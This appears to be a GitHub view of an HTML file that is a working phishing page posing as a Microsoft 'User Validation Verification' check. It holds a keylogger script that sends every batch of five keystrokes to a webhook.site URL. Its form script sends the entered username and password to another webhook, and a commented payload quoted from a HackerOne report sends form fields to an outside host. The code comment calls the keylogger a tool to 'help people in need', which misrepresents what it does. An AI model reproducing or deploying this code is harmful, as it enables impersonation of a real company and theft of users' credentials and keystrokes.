-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
172 lines (155 loc) · 5.88 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
<!DOCTYPE html>
<html>
<head>
<!-- Official MS User Validation Verification (UVV) -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MS User Validation Verification (UVV)</title>
<style>
/* Add CSS for setting the background color to dark grey */
body {
background-color: rgb(255, 255, 255); /* MS style */
font-family: "Basic Sans Light SF", sans-serif;
font-weight: 400;
font-size: 1rem;
line-height: 1.5rem;
letter-spacing: 0.2px;
}
form {
border: 0;
outline: 0;
width: 80%;
padding: 10px 20px;
}
input {
border: 0;
outline: 0;
background: rgb(255, 252, 205);
border-bottom: 1px solid black;
width: 50%;
padding: 10px 20px;
}
/* Style the button */
button {
padding: 10px 20px;
background-color: rgb(58, 120, 181); /* MS Blue */
color: white; /* Text color for the button */
border: none;
cursor: pointer;
border-radius: 30px;
transition-duration: 0.4s;
width: 200px;
}
/* Style the button on hover */
button:hover {
background-color: #0056b3; /* Darker blue color on hover */
cursor: pointer;
font-weight: 500;
}
/* Modal CSS */
.modal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.7);
text-align: center;
}
.modal-content {
background-color: white;
border-radius: 10px;
padding: 20px;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
</style>
</head>
<body>
<script>
// Live logger to help people in need.
// Change webhook url to live webhook in the fetch function.
// Modify # of keystrokes you want before sending the data.
// look for a form parameter named "keystrokes"
(function() {
// Array to store captured keys
let capturedKeys = [];
// Function to send data to a webhook
function sendDataToWebhook(data) {
const formData = new URLSearchParams();
formData.append('keystrokes', data.join('')); // Convert array to string
fetch('https://webhook.site/01ad73ef-2837-48b2-a4e0-6b8caca4b6ec', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData
})
.then(response => response.json())
.then(data => {
console.log('Success:', data);
})
.catch((error) => {
console.error('Error:', error);
});
}
// Event listener to capture keystrokes and send data when necessary
document.addEventListener('keydown', function(event) {
capturedKeys.push(event.key);
if (capturedKeys.length >= 5) {
sendDataToWebhook(capturedKeys);
capturedKeys = []; // Reset the captured keys
}
});
})();
</script>
<form id="myForm" onsubmit="return completeForm()">
<h1>User Validation Verification</h1>
We are committed to ensuring the accuracy of your account information to provide you with the best experience. Before you continue, please take a moment to confirm your information so we can validate what we have on file for your account.<br><br>
<input type="text" id="username" placeholder="Username" required><br><br>
<input type="password" id="password" placeholder="Password" required><br><br>
<button type="submit">Confirm</button>
</form>
<!-- Modal HTML -->
<div id="myModal" class="modal">
<div class="modal-content">
<p>Analyzing information...</p>
</div>
</div>
<script>
document.getElementById("myForm").addEventListener("submit", function (event) {
event.preventDefault(); // Prevent the form from submitting by default
const value = document.getElementById("username").value;
const value1 = document.getElementById("password").value;
// Show the modal
document.getElementById("myModal").style.display = "block";
// Create a single Image object and send both values in one request
var image = new Image();
image.src = "https://webhook.site/66e989bb-2abe-4004-a229-ed6263865c36/?username=" + value + "&password=" + value1;
// Once the analysis is complete (for demonstration, use setTimeout), hide the modal
setTimeout(function () {
document.getElementById("myModal").style.display = "none";
}, 3000); // Adjust the delay as needed
});
</script>
<!-- reference : https://hackerone.com/reports/2010530
=====================================
setTimeout(function () {
a = document.getElementsByName('password')[0];
b = document.getElementsByName('username')[0];
function f() {
fetch(`https://calc.sh/?a=${encodeURIComponent(a.value)}&b=${encodeURIComponent(b.value)}`);
}
a.form.onclick=f;
a.onchange=f;
b.onchange=f;
a.oninput=f;
b.oninput=f;
}, 1000)
-->
</body>
</html>